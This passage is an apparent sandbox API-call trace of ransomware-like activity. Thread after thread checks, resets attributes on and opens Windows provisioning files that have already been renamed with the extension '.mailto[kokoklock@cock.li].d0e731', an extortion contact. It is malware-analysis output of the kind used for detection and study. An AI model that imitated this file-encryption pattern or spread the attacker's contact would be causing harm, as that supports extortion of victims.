users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.282] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.282] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe34a8) returned 1 [0177.282] RtlExitUserThread (Status=0x0) Thread: id = 2627 os_tid = 0x1090 [0177.286] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.286] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.286] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.287] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.287] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d508) returned 1 [0177.287] RtlExitUserThread (Status=0x0) Thread: id = 2628 os_tid = 0x1094 [0177.288] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.301] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.302] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d3b0) returned 1 [0177.302] RtlExitUserThread (Status=0x0) Thread: id = 2629 os_tid = 0x1098 [0177.304] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.305] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.305] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.305] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c68) returned 1 [0177.305] RtlExitUserThread (Status=0x0) Thread: id = 2630 os_tid = 0x109c [0177.306] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.308] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.309] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.309] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.309] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96cd8) returned 1 [0177.309] RtlExitUserThread (Status=0x0) Thread: id = 2631 os_tid = 0x10a0 [0177.310] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.311] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.311] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.311] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.311] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b80) returned 1 [0177.311] RtlExitUserThread (Status=0x0) Thread: id = 2632 os_tid = 0x10a4 [0177.312] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.313] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.313] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.313] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.313] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0177.313] RtlExitUserThread (Status=0x0) Thread: id = 2633 os_tid = 0x10a8 [0177.314] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.315] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.315] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.315] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0da0) returned 1 [0177.315] RtlExitUserThread (Status=0x0) Thread: id = 2634 os_tid = 0x10ac [0177.317] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.317] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.317] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.318] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.318] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2c40) returned 1 [0177.318] RtlExitUserThread (Status=0x0) Thread: id = 2635 os_tid = 0x10b0 [0177.320] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.320] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.320] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.320] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.320] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2280) returned 1 [0177.320] RtlExitUserThread (Status=0x0) Thread: id = 2636 os_tid = 0x10b4 [0177.322] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.322] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.323] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.323] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1b30) returned 1 [0177.323] RtlExitUserThread (Status=0x0) Thread: id = 2637 os_tid = 0x10b8 [0177.324] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.324] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.325] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe23b8) returned 1 [0177.325] RtlExitUserThread (Status=0x0) Thread: id = 2638 os_tid = 0x10bc [0177.326] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.326] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19f8) returned 1 [0177.327] RtlExitUserThread (Status=0x0) Thread: id = 2639 os_tid = 0x10c0 [0177.328] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.328] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.328] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.328] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe18c0) returned 1 [0177.329] RtlExitUserThread (Status=0x0) Thread: id = 2640 os_tid = 0x10c4 [0177.330] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.331] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.331] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.331] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1788) returned 1 [0177.331] RtlExitUserThread (Status=0x0) Thread: id = 2641 os_tid = 0x10c8 [0177.332] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.333] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.333] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.333] SetFileAttributesW (lpFileName="C:\\Users\\All 